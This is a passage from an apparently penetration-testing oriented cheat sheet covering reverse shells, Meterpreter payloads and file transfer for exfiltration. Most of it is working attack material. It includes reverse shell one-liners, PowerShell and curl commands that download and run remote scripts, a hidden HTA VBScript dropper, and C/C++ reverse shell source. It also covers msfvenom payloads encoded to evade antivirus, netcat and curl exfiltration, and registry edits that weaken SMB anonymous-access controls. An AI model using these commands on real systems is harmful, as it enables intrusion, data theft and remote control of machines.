ruby -rsocket -e'f=TCPSocket.open("<IP>",<PORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

**OpenSSL**

Requires a listener that supports `SSL` / `TLS` connections.

```bash
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <IP>:<PORT> > /tmp/s; rm /tmp/s
```

**Groovy**

```bash
# Source: https://gist.githubusercontent.com/frohoff/fed1ffaab9b9beeb1c76/raw/7cfa97c7dc65e2275abfb378101a505bfb754a95/revsh.groovy
# BINARY: /bin/sh | /usr/bin/bash | cmd.exe | powershell.exe | ...
String host="<IP | HOSTNAME>";
int port=<PORT>;
String cmd="<BINARY>";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

#### Complete reverse shell scripts

The scripts usually need to be uploaded on the target or hosted on a webserver, which can be done (for example) using python:

```python
# Python 3.X
python -m http.server <PORT>

# Python 2.X.
python -m SimpleHTTPServer <PORT>
```

**PowerShell**

The [`Nishang PowerShell`](https://github.com/samratashok/nishang) scripts can be used to get a reverse shell.

The following commands will load directly in memory the PowerShell script hosted on the remote webserver:

```powershell
# TCP
powershell -nop -Win Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <Port>"

# ICMP - Needs a ICMP listener
powershell -nop -Win Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/Invoke-PowerShellIcmp.ps1'); Invoke-PowerShellIcmp -IPAddress <IP>"
```

The PowerShell script can also be started directly upon download if the invoke command is added at the end of the script `Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <Port>`

**PHP**

The pentestmonkey php-reverse-shell PHP script is a proper interactive reverse shell meant to be uploaded on a web service that runs PHP.

The following two lines need to be updated in the script:

```
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
```

The script can also be loaded directly in memory from a remote webserver, which can be used to leverage a remote command execution into a reverse shell on a server with PHP available:

```php
curl http://<WEBSERVER_IP>:<WEBSERVER_PORT>/php-reverse-shell.php | php
wget -qO- http://<WEBSERVER_IP>:<WEBSERVER_PORT>/php-reverse-shell.php | php

# Through PHP code injection
# The system call be replaced with various PHP functionalities detailed above.
system('curl http://<WEBSERVER_IP>:<WEBSERVER_PORT>/php-reverse-shell.php | php')
system('wget -qO- http://<WEBSERVER_IP>:<WEBSERVER_PORT>/php-reverse-shell.php | php')
```

**\[Windows] HTML Application**

Windows `HTML Application (HTA)` file are `HTML` based and may contain `JavaScript` or `VBScript` that will be interpreted by the Windows operating system. More precisely, the `HTA` script can be interpreted through `Internet Explorer` or the Windows engine `mshta.exe`. As the file is not written on disk but directly interpreted from the remote URL, this technique can be used to bypass some anti-virus solutions (statement that does not hold as true now).

The following `HTA` script can be used to execute some PowerShell code (such as loading in memory and executing a PowerShell script). As the 32-bit version of `mshta.exe` seems to be executed by default, be aware that it will by default execute the 32-bit version of PowerShell. Even if the `C:\Windows\System32` path is specified, it will be mapped to `C:\Windows\SysWOW64` (for compatibility reasons). To force the 64-bit version of PowerShell to executed (needed for 64-bit shellcode for instance), the `C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe` path should be specified.

```
# <COMMAND> example: powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <Port>

<script language="VBScript">
  window.moveTo -4000, -4000
  Set eWZ3pL4 = CreateObject("Wscript.Shell")
  Set gOhlGr = CreateObject("Scripting.FileSystemObject")
  For each path in Split(eWZ3pL4.ExpandEnvironmentStrings("%PSModulePath%"),";")
    If gOhlGr.FileExists(path + "\..\powershell.exe") Then
      eWZ3pL4.Run "<COMMAND>",0
      Exit For
    End If
  Next
  window.close()
</script>
```

The [Nishang's `Out-HTA`](https://github.com/samratashok/nishang/blob/master/Client/Out-HTA.ps1) PowerShell cmdlet can be used as well to generate a HTA file with in-lined commands or that will download and execute a remote PowerShell script. It has the notable advantage of providing a failover mechanism: a live page related to Windows Defender from the Microsoft website is loaded if the HTA execution fails.

```bash
# Import-Module .\Out-HTA.ps1
# Get-Help -full Out-HTA

Out-HTA -Payload '<COMMAND>'
Out-HTA -PayloadURL '<http://<WEBSERVER_IP>:<WEBSERVER_PORT>/<PowerShell.ps1>'
Out-HTA -PayloadScript '<POWERSHELL_FILEPATH>'
```

#### Complete reverse shell binaries

**\[Linux] C binary for SUID shell**

The following code can be compiled to get a binary that will spawn a shell with out dropping the SID bit. Change the owner of the binary if needed `chown root.root suid` and then set the SUID bit and execution mode of the compiled binary using `chmod 4755 suid` or `chmod a=srx suid`.

```c
# gcc -m32 -Wl,--hash-style=both -o suid suid.c

int main(void) {
    setgid(0);
		setuid(0);
    execl("/bin/sh", "sh", 0);
}
```

**Compiled reverse one-liner**

If reverse shell must be made through a binary the following c code can be used:

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
	system("<SHELLCODE_ONELINER>");
	return 0;
}
```

The binary must be compiled on the same architecture as the target (advised to use the same OS and kernel for Linux targets).

To compile for a Windows target on Linux use the cross-compiler `mingw`:

```bash
# 32 bits
i686-w64-mingw32-gcc -o test.exe test.c

# 64 bits
x86_64-w64-mingw32-gcc -o test.exe test.c
```

**\[Linux / Windows] xct's xc**

`xc` is a reverse shell for Linux and Windows written in `Go`. It includes a number of basic functionalities: file upload / download, local / remote ports forwarding, run as another user, client auto reconnect, etc. It can also be used on Windows systems to load and execute `.NET` assembly from memory.

```bash
# A xct's xc listener must be listening.
xc.exe <HOSTNAME | IP> <PORT>
xc <HOSTNAME | IP> <PORT>
```

Once a session has been established through `xc`, the following notable commands are supported:

```bash
# Linux / Windows common commands.
!upload <SOURCE_FILE> <DESTINATION_FILE> - uploads the specified file to the remote host.
!download <SOURCE_FILE> <DESTINATION_FILE> - download the specified file from the remote host.

!lsfwd - lists the current ports forwarding.
!rmfwd <INDEX> - removes the specified port forward.
!lfwd <LOCAL_PORT> <REMOTE_IP> <REMOTE_PORT> - adds a local port forward (to forward traffic received on the local IP:<LOCAL_PORT> to <REMOTE_IP>:<REMOTE_PORT>).
!rfwd <REMOTE_PORT> <LOCAL_IP> <LOCAL_PORT> - adds a remote port (to make accessible <LOCAL_IP>:<LOCAL_PORT> on the remote host at <REMOTE_PORT>).

!shell - opens an interactive CMD prompt (cmd.exe) or shell (/bin/sh), that can be exited at will.
!runas <USERNAME> <PASSWORD> <WORKGROUP | DOMAIN> - restart the session as the specified user.
!spawn <REMOTE_PORT> - spawns another reverse shell session client on the specified port.
!met <REMOTE_PORT> - spawns a meterpreter on the specified port (requires a x64/meterpreter/reverse_tcp listener).

# Windows specific commands
!powershell - starts PowerShell in the session.
!runasps <USERNAME> <PASSWORD> <WORKGROUP | DOMAIN> - restart / start a PowerShell session as the specified user (similarly to runas but spawn a PowerShell session).
!vulns - checks for common vulnerabilities using Invoke-PrivescCheck -Extended.
!net <NET_BINARY> <ARG1> <ARG2> ... <ARGN> - uploads and runs a .NET binary from memory using the specified arguments (if any).

# Linux specific commands.
!ssh <LOCAL_PORT> - starts the sshddeamon with the configured keys on the specified local port.
```

**msfvenom reverse shell binary**

`msfvenom` can be used to generate a reverse shell binary:

```bash
# 32 bits
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -b "\x00" -e x86/shikata_ga_nai -f exe -o <OUTBIN.exe>

# 64 bits
msfvenom -a x64 --platform windows -p windows/shell/reverse_tcp LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -b "\x00" -e x86/shikata_ga_nai -f exe -o <OUTBIN.exe>
```

For more information on how to generate and use reverse shell binaries using the `Metasploit` framework, refer to the `Meterpreter` section below.

**C / CPP simple reverse shell**

As an alternative to `msfvenom`, the following CPP code, from the [C-Reverse-Shell](https://github.com/dev-frog/C-Reverse-Shell) GitHub repository, can be used to compile a simple reverse shell.

The `char host[] = "<IP>";` and `int port = <PORT>;` instructions should be updated to match the contacted server. The reverse shell binary can be simply executed with out arguments or using `re.exe <IP> <PORT>`.

```bash
# Compilation to a static standalone binary from a Linux operating system.
i686-w64-mingw32-g++ re.cpp -o re.exe -lws2_32 -lwininet -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
```

```cpp
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024


void RunShell(char* C2Server, int C2Port) {
    while(true) {
        Sleep(5000);    // Five Second

        SOCKET mySocket;
        sockaddr_in addr;
        WSADATA version;
        WSAStartup(MAKEWORD(2,2), &version);
        mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
        addr.sin_family = AF_INET;

        addr.sin_addr.s_addr = inet_addr(C2Server);
        addr.sin_port = htons(C2Port);

        if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        else {
            char RecvData[DEFAULT_BUFLEN];
            memset(RecvData, 0, sizeof(RecvData));
            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
            if (RecvCode <= 0) {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else {
                char Process[] = "cmd.exe";
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;
                memset(&sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
                WaitForSingleObject(pinfo.hProcess, INFINITE);
                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

                memset(RecvData, 0, sizeof(RecvData));
                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode <= 0) {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }
                if (strcmp(RecvData, "exit\n") == 0) {
                    exit(0);
                }
            }
        }
    }
}

int main(int argc, char **argv) {
    FreeConsole();
    if (argc == 3) {
        int port  = atoi(argv[2]);
        RunShell(argv[1], port);
    }
    else {
        char host[] = "<IP>";  // change this to your ip address
        int port = <PORT>;                //chnage this to your open port
        RunShell(host, port);
    }
    return 0;
}
```

**chashell**

Chashell is a cross-platform Go reverse shell that communicates over DNS. It can be used to bypass firewalls or tightly restricted networks. As `chashell` relies on DNS, a Domain Name is required and must be bought and configured.

`chashell` makes use of a (multi-client) control server, `chaserv`, to receive the reverse shell connections.

The following commands can be used to build the client and server and to configure the DNS record:

```
# Building
export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))')
export DOMAIN_NAME=<FQDN>
make build-all

# DNS record configuration
<PREFIX> 300 IN A <SERVE_IP>
c 300 IN NS <PREFIX>.<DOMAIN_NAME>.
```

The `chaserv` binary must be run on the control server and the `chashell` binary on the compromised host.

### (Optional) TTY

A TTY is a particular kind of device file which implements a number of additional commands beyond read and write.

A TTY shell may be needed for an exploit to work and is required to make use of `sudo`. It is recommended to upgrade any shell obtained to TTY before attempting privileges escalation techniques.

```bash
/bin/sh -i
/bin/bash -i
echo os.system('/bin/bash')

# Python
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/sh")'

# Perl
perl -e 'exec "/bin/sh";'

# From within IRB
exec "/bin/sh"

# From within vi
:!bash
:set shell=/bin/bash:shell

# With nmap
!sh
```

### (Optional) Auto-completion and commands history

* Background the reverse shell terminal using `Ctrl+Z`
* Set host terminal to raw with echo unset: `stty raw -echo`
* Foreground the reverse shell terminal `fg` and re-initialize it using `reset`

If the TERM environment variable is not set on the reverse shell:

```
ctrl+z
echo $TERM
fg
export TERM=<TERM>
```

Lastly, the shell might not be of the correct height or width. To update the shell height / width to correspond to the terminal size use:

```
ctrl+z
stty size
-> <ROWS> <COLUMNS>
fg
stty -rows <ROWS> -columns <COLUMNS>
```

### Meterpreter

Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.

**Handler**

When using a meterpreter payload, a handler must be started on the host machine.

The commands to start a metasploit handler are as follows:

```
# msfconsole -q

msf> use multi/handler

# Set the payload being executed on the target
msf> set payload <PAYLOAD>

# Set the local IP and port. In case of a NATED VM with port
# forwarding/redirection, the IP 0.0.0.0 can be used
msf> set LHOST <HOSTIP>
msf> set LPORT <HOSTPORT>

# To be able to keep several sessions at a time on a single multi/handler
msf> set ExitOnSession false
msf> exploit -j -z
```

**MsfVenom & MSFPC**

The metasploit framework msfvenom is a powerful standalone payload generator.

Two kinds of payloads can be generated:

* Staged payloads that will require a metasploit handler
* Stageless payloads that will not require a metasploit handler (and will work with netcat for example)

Note that, while offering encoding techniques, the binary payloads generated with msfvenom are often detected by AV softwares. To generate stealthier binary payloads use Shellter \[(Windows / binary) Shellter].

The MSFvenom Payload Creator (MSFPC) bash script can be used to easily generate various "basic" Meterpreter payloads via msfvenom:

```
<TYPE>:
   + APK
   + ASP
   + ASPX
   + Bash [.sh]
   + Java [.jsp]
   + Linux [.elf]
   + OSX [.macho]
   + Perl [.pl]
   + PHP
   + Powershell [.ps1]
   + Python [.py]
   + Tomcat [.war]
   + Windows [.exe // .exe // .dll]

msfpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)

msfpc.sh Windows <IP> <PORT> CMD REVERSE STAGELESS TCP
msfpc.sh Windows <IP> <PORT> MSF REVERSE STAGED TCP

msfpc.sh Linux <IP> <PORT> CMD REVERSE STAGELESS TCP
msfpc.sh Linux <IP> <PORT> MSF REVERSE STAGED TCP
```

`msfvenom` cheat sheet:

```
# List platforms: msfvenom --help-platforms
# Basic platforms: windows & linux
# -a <ARCH> (Architecture): x86 or x64
# List payloads: msfvenom --list payloads
# List formats: msfvenom --help-formats
# List encoders: msfvenom --list encoders
# Recommended encoder: -e x86/shikata_ga_nai

msfvenom [-a <ARCH>] [--platform <PLATEFORM>] –p <PAYLOAD> [-e <ENCODER>] [-b <BADCHAR>] [--smallest] LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> [–f <FORMAT>] > <FILE>

# Windows payloads

# Staged payloads
msfvenom -a <x86 | x64> -p <windows/shell/reverse_tcp | windows/x64/shell/reverse_tcp> LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f exe > reverse.exe
msfvenom -a <x86 | x64> -p <windows/meterpreter/reverse_tcp | windows/x64/meterpreter/reverse_tcp> LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f exe > reverse.exe
msfvenom -a <x86 | x64> -p <windows/meterpreter/bind_tcp | windows/x64/meterpreter/bind_tcp>  LPORT=<LISTENING_PORT> -f exe > bind.exe

# Stageless payloads
msfvenom -a <x86 | x64> -p <windows/shell_reverse_tcp | windows/x64/shell_reverse_tcp> LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f exe > reverse.exe
msfvenom -a <x86 | x64> -p <windows/meterpreter_reverse_tcp | windows/x64/meterpreter_reverse_tcp> LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f exe > reverse.exe
msfvenom -a <x86 | x64> -p <windows/meterpreter_bind_tcp | windows/x64/meterpreter_bind_tcp> LPORT=<LISTENING_PORT> -f exe > bind.exe

# Unitary command execution
msfvenom -a <x86 | x64> -p <windows/exec | windows/x64/exec> CMD="<COMMAND>" -f <FORMAT> > <OUTPUT_FILENAME>

# Adds a local user.
msfvenom -a <x86 | x64> -p windows/adduser USER=<USERNAME> PASS=<PASSWORD> -f exe > adduser.exe

# Linux payloads

# Bash oneliner
msfvenom -p cmd/unix/reverse_bash LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f raw > shell.sh
# Basic and stable
msfvenom -p generic/shell_bind_tcp LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f elf > term.elf

# Stageless - CMD shell
msfvenom -p linux/x86/shell_bind_tcp --platform linux -a x86 PORT=<PORT> -f elf > bind_stageless.elf
msfvenom -p linux/x86/shell_reverse_tcp --platform linux -a x86 LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f elf > rev_stageless.elf
msfvenom -p linux/x64/shell_bind_tcp --platform linux -a x64 PORT=<PORT> -f elf > bind_x64_stageless.elf
msfvenom -p linux/x64/shell_reverse_tcp --platform linux -a x64 LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f elf > rev_x64_stageless.elf

# Staged - Meterpreter
msfvenom -p linux/x86/meterpreter/bind_tcp --platform linux -a x86 PORT=<PORT> -f elf > bind_meterpreter.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp --platform linux -a x86 LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f elf > reverse_meterpreter.elf
msfvenom -p linux/x64/meterpreter/bind_tcp --platform linux -a x64 PORT=<PORT> -f elf > bind_meterpreter_x64.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp --platform linux -a x64 LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f elf > reverse_meterpreter_x64.elf

# Mac payloads
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f macho > reverse.macho
msfvenom -p osx/x86/shell_bind_tcp LPORT=<LISTENING_PORT> -f macho > bind.macho

# Web based payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f asp > reverse.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f raw > reverse.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f war > reverse.war
msfvenom -p php/meterpreter_reverse_tcp LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f raw > shell.php

# Script payloads
msfvenom -p cmd/unix/reverse_python LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f raw > reverse.py
msfvenom -p cmd/unix/reverse_perl LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f raw > reverse.pl

# Shellcodes
msfvenom –p <PAYLOAD> –f <FORMAT> -e <ENCODER> -b <BADCHAR> --smallest LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f bash > <FILE>
msfvenom –p <PAYLOAD> –f <FORMAT> -e <ENCODER> -b <BADCHAR> --smallest LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f powershell > <FILE>
```

**Meterpreter through HTML Application**

Windows HTML Application script can contain JavaScript or VBScript that will be interpreted by the operating system.

The `metasploit` module `exploit/windows/misc/hta_server` can be used to generate then host a HTA script that will launch a payload through PowerShell when interpreted.

The HTA script can be interpreted through `Internet Explorer` or the Windows utility `mshta.exe`. As the file is not written on disk but directly interpreted from the remote URL, this technique can be used to bypass some anti-virus solutions.

```
msf> use exploit/windows/misc/hta_server
[...]

mshta.exe http://<HOSTNAME | IP>:<PORT>/<FILENAME>.hta
```

**Meterpreter as an encoded shellcode**

`msfvenom` can be used to generate a `meterpreter` shellcode, which can later be integrated and run from a compiled binary or a `PowerShell` script.

The encoder `shikata_ga_nai` with some iterations yields the best results.

The commands to generate a shellcode are as follows:

```
-- C output format
# x86 target
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST="<LISTENING_IP>" LPORT="<HOST_PORT>" -b \x00\x0a\x0d -e x86/shikata_ga_nai -i 20 -f c

# x64 target
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST="<LISTENING_IP>" LPORT="<HOST_PORT>" -b \x00\x0a\x0d -f c

-- PowerShell output format
# x86 target
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST="<LISTENING_IP>" LPORT="<HOST_PORT>" -b \x00\x0a\x0d -f powershell

# x64 target
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST="<LISTENING_IP>" LPORT="<HOST_PORT>" -b \x00\x0a\x0d -f powershell
```


# File transfer / exfiltration

On Linux, it is recommended to verify the integrity of the transferred file using the built-in `md5sum`.

On Windows, the PowerShell cmdlet `Get-FileHash -Algorithm MD5` can be used to compute the MD5 file's hash.

### Server side / file sender

The following tools can be used to host files server-side.

**\[Linux / Windows] Python**

The `SimpleHTTPServer` / `http.server` `Python` modules can be used to quickly start an HTTP server from the CLI.

The module is however limited : the listening interfaces can not be specified and no SSL/TLS layer is natively supported.

```python
python2 -m SimpleHTTPServer <PORT>

python3 -m http.server <PORT>
```

On Windows systems with out `Python` installed, the `WinSimpleHTTP` standalone binary can be used to start a the web server based on `Python`'s `SimpleHTTPServer` module.

```
# Pre-compiled binaries are available on GitHub
pip install pyinstaller
pyinstaller web.py --onefile

web.exe <PORT>
```

**\[Linux / Windows] Node**

The `http-server` Node module can be used to setup an HTTP server from the CLI.

The module supports different configuration options and can be used to listen on a specific IP address as well as enabling SSL/TLS and CORS.

The `http-server-with-auth` Node module additionally provides a basic HTTP authentication mechanism.

```
# npm install -g http-server
# npm install -g http-server-with-auth

http-server -a <IP> -p <PORT> --cors
http-server -a <IP> -p <PORT> --cors --ssl --cert <PATH_CERT> --key <PATH_PRIV_KEY>
http-server -a <IP> -p <PORT> --cors --usernmae <USERNAME> --password <PASSWORD>
```

**\[Linux] curl**

```bash
# Needs the receiver to be listening
curl -F 'data=@<FILE>' http://<IP>:<PORT>
```

**\[Linux / Windows] netcat**

```
# Needs the receiver to be listening

nc -w 3 <IP> <PORT> < <FILE>

# The ncat.exe from https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe or https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip offer a better compatibility across Windows systems
# Use of PowerShell's Get-Content, and its alias (cat, type, gc, etc.), may induce a corrupted file.

cmd.exe /c 'type <FILE> | ./nc.exe -w 3 <IP> <PORT>'
```

**\[Linux] socat**

```
# Similarly to nc, needs the receiver to be listening
socat -u FILE:<FILE> TCP:<IP>:<PORT>
```

**\[Linux] impacket-smbserver**

```bash
smbserver.py <SHARE_NAME> <SHARE_PATH>
smbserver.py -smb2support <SHARE_NAME> <SHARE_PATH>

smbserver.py -smb2support <SHARE_NAME> `pwd`
```

**\[Linux] SAMBA shares**

A `SAMBA` share can be configured on Linux systems using the `samba` utility.

The `samba` configuration file's `/etc/samba/smb.conf` should be first updated to create a new network share. Access to the shared folder should be allowed at the filesystem level (restriction will still be enforced by the share configuration):\
`sudo chmod 0777 <SHARE_PATH>`.

```
[global]
    map to guest = Bad User
    server role = standalone server
    # Allows anonymous access.
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

# Specify the configuration for the new share.
[<SHARE_NAME>]
    comment = Samba
    # Full path of the folder to be shared.
    path = <SHARE_PATH>
    # Allows anonymous access.
    guest ok = yes
    # "read only = no" will authorize modification of the files hosted on the share.
    read only = yes
    browsable = yes
    # Should be set to the owner of the share (i.e the owner of the shared folder at the filesystem level).
    force user = <root | SHARE_OWNER>
```

After the new network share is configured, the `smbd` daemon must be restarted:

```
# Restarts the smbd daemon to make the new configuration effective (either option below).
sudo service smbd restart
sudo /etc/init.d/smbd restart

# If needed, allows inbound traffic to the samba share.
sudo ufw allow samba
```

**\[Windows] SMB shares**

On Windows, the graphical interface of `Windows Explorer` can be used to share a specific folder over the network. Sharing a folder requires Administrators or `NT AUTHORITY\SYSTEM` privileges.

Note that the final access permissions for a shared resource are determined by considering both the `NTFS` permissions and the sharing protocol permissions, and then applying the more restrictive permissions. Thus, it is possible to grant "Everyone" full access permission when configuring the share permissions.

```
# Share permissions
Right click folder -> Properties -> Sharing -> Share -> Everyone

# NTFS permissions - Needs to be applied to the folder and its files
Right click folder -> Properties -> Security -> Edit -> Add
  -> From this location -> <DOMAIN>
  -> Enter the object names to select -> <USERNAME> or ANONYMOUS LOGON + Everyone (-> Check Names)
```

The above procedure, through `Windows Explorer`, can also be done in PowerShell:

```
mkdir <SHARE_FOLDER_PATH>

# Grants read-only access to ANONYMOUS LOGON and Everyone.
icacls <SHARE_FOLDER_PATH> /T /grant Anonymous` logon:`(OI`)`(CI`)r
icacls <SHARE_FOLDER_PATH> /T /grant Everyone:`(OI`)`(CI`)r
New-SmbShare -Path <SHARE_FOLDER_PATH> -Name <SHARE_NAME> -ReadAccess 'ANONYMOUS LOGON','Everyone'

# Grants full control (read, write, delete, edit permissions, etc.) to ANONYMOUS LOGON and Everyone.
icacls <SHARE_FOLDER_PATH> /T /grant Anonymous` logon:`(OI`)`(CI`)f
icacls <SHARE_FOLDER_PATH> /T /grant Everyone:`(OI`)`(CI`)f
New-SmbShare -Path <SHARE_FOLDER_PATH> -Name <SHARE_NAME> -FullAccess 'ANONYMOUS LOGON','Everyone'

# Grants the specified rights to the specified security principals.
# r / ReadAccess: read-only access, m / ChangeAccess: modify access (read, write, create, delete), and f / FullAccess: full control.
icacls <SHARE_FOLDER_PATH> /T /grant <USERNAME | <DOMAIN>\<USERNAME>:`(OI`)`(CI`)<r | m | f>
New-SmbShare -Path <SHARE_FOLDER_PATH> -Name <SHARE_NAME> [-ReadAccess | -ChangeAccess | -FullAccess] <USERNAME | <DOMAIN>\<USERNAME> | GROUPNAME | <DOMAIN>\<GROUPNAME> | COMMA_SEPARARED_LIST_OF_PRINCIPALS>

# Removes (with out prompting for confirmation) the specifed share.
Remove-SmbShare -Force -Name <SHARE_NAME>
```

Anonymous (`ANONYMOUS LOGON`) access may be prevented through system wide settings, independently of the access rights configured at the share and `NTFS` levels. Indeed, if the `RestrictNullSessAccess` registry key is enabled (set to `0x1`), anonymous access are restricted to only the named pipes and shares that are defined, respectively, in the `NullSessionPipes` and `NullSessionShares` registry keys. Additional security parameters defined through registry keys may also interfere with anonymous access:

* `RestrictAnonymous`: if enabled (set to `0x1`), prevents users who logged on anonymously to lists share names.
* `EveryoneIncludesAnonymous`: if disabled (set to `0x0`), prevents users who logged on anonymously to have the same rights as the built-in Everyone group.

The following PowerShell commands can be used to authorize anonymous access to the specified share and disable the security parameters that may interfere with anonymous logon system-wide (effectively lowering the computer security configuration however):

```
# Checks if anonymous access are restricted (RestrictNullSessAccess registry key).
reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\ /v RestrictNullSessAccess

# If RestrictNullSessAccess is Enabled, the NullSessionShares and NullSessionPipes registry keys must be updated as follow.
# Appends the specified share to the NullSessionShares registry key to authorized anonymous access to the share.
$key = Get-Item "HKLM:System\CurrentControlSet\Services\LanManServer\Parameters"
$values = $key.GetValue("NullSessionShares")
$values += "<SHARE_NAME>"
Set-ItemProperty "HKLM:\System\CurrentControlSet\Services\LanManServer\Parameters" "NullSessionShares" $values -Type MultiString

# Appends "srvsvc" to the NullSessionPipes registry key to authorized anonymous access to the srvsvc named pipe used by the SMB protocol.
$key = Get-Item "HKLM:System\CurrentControlSet\Services\LanManServer\Parameters"
$values = $key.GetValue("NullSessionShares")
$values += "<SHARE_NAME>"
Set-ItemProperty "HKLM:\System\CurrentControlSet\Services\LanManServer\Parameters" "NullSessionShares" $values -Type MultiString

# Validates the NullSessionPipes and NullSessionShares updates.
reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\


# Checks if RestrictAnonymous is enabled (0x1) and, if necessary, disables it (0x0).
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f

# Checks if EveryoneIncludesAnonymous is disabled (0x0) and, if necessary, enables it (0x1).
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
```

**\[Linux / Windows] FTP**

```
# pip install pyftpdlib
python -m pyftpdlib -w -p <PORT>
```

**\[Linux / Windows] TFTP**

```
# Metasploit server module
use auxiliary/server/tftp

# Unix daemon
mkdir <TFTPFOLDER>
atftpd --daemon --port <PORT> <TFTPFOLDER>
```

**\[Linux] NFS server**

The [`docker-nfs-server`](https://github.com/ehough/docker-nfs-server) project can be used to host a `NFS` server in a docker container and expose the `NFS` server on the host.

If `AppArmor` is installed and enabled on the host running docker (can be checked with `sudo aa-status`), [the documented additional steps](https://github.com/ehough/docker-nfs-server/blob/develop/doc/feature/apparmor.md) must be followed to start the NFS server.

